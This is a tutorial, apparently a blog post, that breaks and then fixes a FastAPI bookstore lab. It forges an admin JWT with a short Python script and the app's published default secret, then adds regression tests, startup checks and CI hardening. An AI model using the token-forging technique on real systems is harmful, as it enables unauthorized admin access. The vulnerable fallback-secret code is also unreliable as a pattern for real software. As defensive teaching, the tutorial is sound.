Why one config value can hand out admin access
No password guessing, no stolen session: an attacker who knows the signing secret writes their own token, signs it with that secret, and the server accepts it.
In this tutorial we break and then fix a small FastAPI bookstore API that has exactly this problem. You will:
- Run the API locally.
- Read how it creates and checks JSON Web Tokens (JWTs).
- Forge an admin token with a few lines of Python and use it to change data you should not be able to touch.
- Capture the bug in tests.
- Fix it, and make the tests and CI keep it fixed.
You need Python 3.12, Git, and about 30 minutes. Everything runs on your own machine against an app built to be broken. Only try these techniques on systems you own or are explicitly authorized to test.
Set up the lab
Clone the repo and check out the vulnerable-baseline tag. That is the code before the fix; the main branch already contains the fix you will write later in this post.
git clone https://github.com/danay1999/BookstoreAPI.git
cd BookstoreAPI
git checkout vulnerable-baseline
python -m venv .venv
source .venv/bin/activate # Windows PowerShell: .\.venv\Scripts\Activate.ps1
pip install -r requirements.txt
uvicorn app:app --reload --port 8000Open http://localhost:8000/docs to see the interactive API docs. The routes that matter here:
| Route | Who should be able to call it |
|---|---|
POST /auth/token | Anyone, with a valid username and password |
GET /books and GET /books/{id} | Anyone |
POST /books, PATCH /books/{id}, DELETE /books/{id} | Admins only |
In a second terminal, run the test suite to confirm everything works:
pip install pytest
pytest -q5 passed, 41 warnings in 1.62sAll five tests pass, including one named test_known_vulnerability_default_secret_allows_forged_admin_token. We will come back to it. The warnings are deprecation notices, mostly about datetime.utcnow(); they do not affect the exercise.
Read the code: how tokens are made and checked
The bug is two small decisions that combine. Here is the first, at the top of app.py:
JWT_SECRET = os.getenv("JWT_SECRET", "change-me-in-secrets")
JWT_ALG = "HS256"If the JWT_SECRET environment variable is missing, the app quietly falls back to a value that is published in the repository. HS256 is a symmetric algorithm: the same secret both signs and verifies tokens. Whoever knows it can mint tokens the server will trust.
The second decision is in how a request is authenticated:
def get_current_user(authorization: str = Header(...)) -> AuthUser:
...
payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALG])
return AuthUser(username=payload["sub"], role=payload["role"])
def require_admin(user: AuthUser = Depends(get_current_user)) -> AuthUser:
if user.role != "admin":
raise HTTPException(status_code=403, detail="Admin only")
return userThe server checks the signature and expiry, then believes whatever the token says. It never looks up whether the sub user exists or what role that user really has. There is also no issuer (iss) or audience (aud) check, so a token minted for some other service with the same secret would be accepted too.
Put together: anyone with the default secret can write "role": "admin" into a token for a user who does not exist, and every admin-only route will accept it.
Note what is not wrong. The algorithm is pinned (algorithms=[JWT_ALG]), so the classic alg: none trick fails. Passwords are hashed with bcrypt. Login is rate limited. The weakness is in secret management and authorization, not in the JWT library.
Break it: forge an admin token
First, confirm the access control works for an honest user. Log in as the regular user account and try to add a book:
USER_TOKEN=$(curl -s -X POST localhost:8000/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"user","password":"password"}' \
| python -c "import sys, json; print(json.load(sys.stdin)['access_token'])")
curl -s -w " HTTP %{http_code}\n" -X POST localhost:8000/books \
-H "Authorization: Bearer $USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"title":"Secure APIs","author":"Dana","price":25}'{"detail":"Admin only"} HTTP 403Good: a regular user is refused. Now skip the login entirely. Save this as forge.py:
from datetime import datetime, timedelta, timezone
from jose import jwt
SECRET = "change-me-in-secrets" # the fallback value published in app.py
claims = {
"sub": "mallory", # a user that does not exist
"role": "admin",
"exp": datetime.now(timezone.utc) + timedelta(minutes=30),
}
print(jwt.encode(claims, SECRET, algorithm="HS256"))Run it and use the token it prints:
TOKEN=$(python forge.py)
curl -s -w " HTTP %{http_code}\n" -X POST localhost:8000/books \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"title":"Forged Admin Token","author":"Mallory","price":0.01}'{"title":"Forged Admin Token","author":"Mallory","genre":null,"price":0.01,"isbn":null,"popularity":0,"id":1,"created_at":"2026-10-12T22:39:54.894413"} HTTP 200The server accepted an admin request from mallory, a user it has never heard of. Deleting works the same way:
curl -s -w " HTTP %{http_code}\n" -X DELETE localhost:8000/books/1 \
-H "Authorization: Bearer $TOKEN" HTTP 204If you paste the token into a JWT decoder, the payload is just {"sub":"mallory","role":"admin","exp":1791846594}. Nothing in it was issued by the server.
Impact. In a real deployment where JWT_SECRET was never set, anyone who has read the public source can create, change, and delete every record behind an admin check. The same applies if the secret leaks through a log, a screenshot, or a committed .env file.
Capture the bug in a test
A curl command proves the bug once. A test proves it every time the code changes. The repo already has one that documents the vulnerable behavior:
def test_known_vulnerability_default_secret_allows_forged_admin_token():
forged_token = jwt.encode(
{
"sub": "mallory",
"role": "admin",
"exp": datetime.utcnow() + timedelta(minutes=30),
},
bookstore_app.JWT_SECRET,
algorithm=bookstore_app.JWT_ALG,
)
response = client.post(
"/books",
headers=_auth_header(forged_token),
json={"title": "Forged Admin Token", "author": "Mallory", "price": 0.01},
)
assert response.status_code == 200
assert response.json()["title"] == "Forged Admin Token"This kind of test is sometimes called a characterization test: it asserts what the code does today, even when that is wrong. It passes now, which is the point. It turns “I think this is exploitable” into evidence anyone on the team can run.
When you fix the bug, this test should fail, and you replace it with tests for the behavior you actually want. Writing those down first is a good way to decide what “fixed” means:
- A token signed with the old default secret is rejected (401).
- A token for a user who does not exist is rejected (401).
- A real user cannot promote themselves by adding
"role": "admin"to a token, even one signed with the real secret (403). - A token minted for a different audience is rejected (401).
Harden it: three changes
1. No default secret, and fail at startup
A missing secret should stop the app, not quietly fall back to a public value:
JWT_SECRET = os.environ.get("JWT_SECRET", "")
if len(JWT_SECRET) < 32:
raise RuntimeError("JWT_SECRET must be set to a random value of at least 32 characters")
JWT_ALG = "HS256"
JWT_ISSUER = "bookstore-api"
JWT_AUDIENCE = "bookstore-clients"Generate a real secret and keep it out of the repo, in your secret manager or deployment environment:
python -c "import secrets; print(secrets.token_urlsafe(32))"A misconfigured deploy now crashes loudly on startup instead of shipping a forgeable admin login.
2. Check who the token is for
Add issuer and audience claims when issuing a token, and require them when reading one:
def create_access_token(sub: str) -> str:
payload = {
"sub": sub,
"iss": JWT_ISSUER,
"aud": JWT_AUDIENCE,
"exp": datetime.utcnow() + timedelta(minutes=ACCESS_TOKEN_MINUTES),
}
return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALG)payload = jwt.decode(
token,
JWT_SECRET,
algorithms=[JWT_ALG],
issuer=JWT_ISSUER,
audience=JWT_AUDIENCE,
options={"require_exp": True, "require_sub": True},
)This stops a token issued for another service from being replayed here, even if the two ever share a secret.
3. Let the server decide the role
This is the most important change. The token says who the caller is; the server decides what they may do:
# The token proves who the caller is; the server decides what they may do.
rec = DEMO_USERS.get(payload["sub"])
if not rec:
raise HTTPException(status_code=401, detail="Invalid or expired token")
return AuthUser(username=payload["sub"], role=rec[1])The role claim is gone from new tokens, and any role in an incoming token is ignored. In a real app, DEMO_USERS would be your user table, so a demoted or deleted user loses access at the next request, not when their token expires.
Each change covers a different failure. The first stops the default-secret attack. The second limits the damage from a shared or reused secret. The third shrinks what a forged token can do: nobody can invent a user or promote a regular account by editing claims.
Be honest about the limits. A leaked secret is still an incident: an attacker could sign a token for a real admin’s username. Treat the secret like a password: store it in a secret manager, rotate it if it is exposed (which invalidates every outstanding token), and keep it out of logs and screenshots.
You can see the complete change, including the tests in the next section, by comparing the vulnerable baseline with the fix. To run the fixed version, switch to main and set the secret first:
git checkout main
export JWT_SECRET=$(python -c "import secrets; print(secrets.token_urlsafe(32))")
uvicorn app:app --reload --port 8000Keep it fixed: tests and CI
The app now refuses to start without JWT_SECRET, so the tests need one. Add tests/conftest.py, which pytest loads before any test module:
import os
import secrets
# The app refuses to start without a strong secret, so give the tests a random one.
os.environ.setdefault("JWT_SECRET", secrets.token_urlsafe(32))Then replace the characterization test with tests for the behavior you want. A small helper keeps them readable:
def _forge(claims: dict, secret: str) -> str:
claims = {"exp": datetime.now(timezone.utc) + timedelta(minutes=30), **claims}
return jwt.encode(claims, secret, algorithm=bookstore_app.JWT_ALG)
NEW_BOOK = {"title": "Forged Admin Token", "author": "Mallory", "price": 0.01}
def test_token_signed_with_old_default_secret_is_rejected():
token = _forge(
{"sub": "admin", "iss": bookstore_app.JWT_ISSUER, "aud": bookstore_app.JWT_AUDIENCE},
"change-me-in-secrets",
)
response = client.post("/books", headers=_auth_header(token), json=NEW_BOOK)
assert response.status_code == 401
def test_role_claim_in_token_is_ignored():
# Even with the real secret, a regular user cannot promote themselves.
token = _forge(
{"sub": "user", "role": "admin",
"iss": bookstore_app.JWT_ISSUER, "aud": bookstore_app.JWT_AUDIENCE},
bookstore_app.JWT_SECRET,
)
response = client.post("/books", headers=_auth_header(token), json=NEW_BOOK)
assert response.status_code == 403The other tests follow the same pattern: an unknown user ("sub": "mallory"), a different issuer, a different audience, and an expired token all expect 401. One more test checks that a real admin login still works, so the fix cannot pass by locking everyone out. With the fix in place:
11 passed, 52 warnings in 4.22sNow see what a regression looks like. Suppose a teammate later “helpfully” lets the token’s role win again:
return AuthUser(username=payload["sub"], role=payload.get("role", rec[1]))The suite catches it immediately:
> assert response.status_code == 403
E assert 200 == 403
FAILED tests/test_security_auth.py::test_role_claim_in_token_is_ignored
1 failed, 10 passed in 3.26sThe repo’s GitHub Actions workflow already runs pytest on every push and pull request, so this failure blocks the change before it ships. Two more CI checks are worth adding for this class of bug:
- Secret scanning (for example Gitleaks, or GitHub’s built-in secret scanning) to catch a real secret committed by mistake.
- Blocking static analysis. The workflow runs Bandit with
|| true, which means its findings never fail the build. Make it blocking and record any accepted exceptions in a file, so every exception is a reviewed decision.
Static analysis will not reliably find “the server trusts a role claim”: that is a design flaw, not a dangerous function call. That is why the authorization tests matter most.
What to take away
- Never ship a fallback secret. Fail at startup if a required secret is missing or weak.
- A valid signature proves who, not what. Look up roles and permissions on the server on every request.
- Check
iss,aud, andexp, and pin the algorithm. - Turn every finding into a test. First a test that shows the bug, then tests that define the fix and catch regressions.
- Let CI enforce it. Tests, secret scanning, and blocking static analysis on every pull request.
The lab and its full security review are at github.com/danay1999/BookstoreAPI. Check out the vulnerable-baseline tag to try the attack yourself. The review covers more findings worth practicing on, including hardcoded demo credentials and thin input validation.
Every command and output in this article was run against BookstoreAPI on October 12, 2026.
Comments
Sign in with GitHub below to leave a comment. Comments are saved as public GitHub Discussions.